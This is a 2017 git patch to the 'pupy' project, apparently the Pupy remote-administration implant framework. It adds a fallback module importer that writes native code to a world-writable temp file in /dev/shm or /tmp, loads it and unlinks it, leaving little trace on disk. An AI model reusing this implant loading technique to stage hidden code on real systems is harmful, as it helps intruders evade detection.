From bb292072e8d323fc3269c8c7e5b668bd97d113bd Mon Sep 17 00:00:00 2001
From: Oleksii Shevchuk
Date: Wed, 1 Mar 2017 17:48:06 +0200
Subject: [PATCH] Emulate _memimporter for python-only evironments
---
pupy/packages/all/pupyimporter.py | 59 ++++++++++++++++++++++++++-----
pupy/pp.py | 3 --
2 files changed, 51 insertions(+), 11 deletions(-)
diff --git a/pupy/packages/all/pupyimporter.py b/pupy/packages/all/pupyimporter.py
index e5001a1b..d2c313d9 100644
--- a/pupy/packages/all/pupyimporter.py
+++ b/pupy/packages/all/pupyimporter.py
@@ -28,8 +28,50 @@ def dprint(msg):
try:
import _memimporter
builtin_memimporter = True
+ allow_system_packages = False
except ImportError:
builtin_memimporter = False
+ allow_system_packages = True
+ import pkg_resources
+ from tempfile import mkstemp
+ from os import chmod, unlink, close, write
+
+ class MemImporter(object):
+ def __init__(self):
+ self.dir = None
+
+ for dir in ['/dev/shm', '/tmp', '/var/tmp', '/run']:
+ try:
+ fd, name = mkstemp(dir=dir)
+ except:
+ continue
+
+ try:
+ chmod(name, 0777)
+ self.dir = dir
+ break
+
+ finally:
+ close(fd)
+ unlink(name)
+
+ def import_module(self, data, initfuncname, fullname, path):
+ fd, name = mkstemp(dir=self.dir)
+ try:
+ write(fd, data)
+ imp.load_dynamic(fullname, name)
+
+ except:
+ self.dir = None
+
+ finally:
+ close(fd)
+ unlink(name)
+
+ _memimporter = MemImporter()
+ if _memimporter.dir:
+ print 'TMP DIR: {}'.format(_memimporter.dir)
+ builtin_memimporter = True
modules = {}
@@ -141,11 +183,12 @@ class PupyPackageLoader:
dprint('Loading {} from memory'.format(fullname))
dprint('init={} fullname={} path={}'.format(initname, fullname, path))
mod = _memimporter.import_module(self.contents, initname, fullname, path)
- mod.__name__=fullname
- mod.__file__ = '/{}'.format(self.path)
- mod.__loader__ = self
- mod.__package__ = fullname.rsplit('.',1)[0]
- sys.modules[fullname]=mod
+ if mod:
+ mod.__name__=fullname
+ mod.__file__ = '/{}'.format(self.path)
+ mod.__loader__ = self
+ mod.__package__ = fullname.rsplit('.',1)[0]
+ sys.modules[fullname]=mod
except Exception as e:
if fullname in sys.modules:
@@ -247,12 +290,12 @@ def install(debug=False):
global __debug
__debug = debug
- if builtin_memimporter:
+ if allow_system_packages:
+ sys.meta_path.append(PupyPackageFinder(modules))
+ else:
sys.meta_path = [ PupyPackageFinder(modules) ]
sys.path = []
sys.path_importer_cache.clear()
- else:
- sys.meta_path.append(PupyPackageFinder(modules))
if 'win' in sys.platform:
import pywintypes
diff --git a/pupy/pp.py b/pupy/pp.py
index 80521bad..e362a331 100755
--- a/pupy/pp.py
+++ b/pupy/pp.py
@@ -79,9 +79,6 @@ try:
import pupy
except ImportError, e:
print 'Couldnt load pupy: {}'.format(e)
- import traceback
- traceback.print_stack()
-
mod = imp.new_module("pupy")
mod.__name__ = "pupy"
mod.__file__ = "\\\\pupy"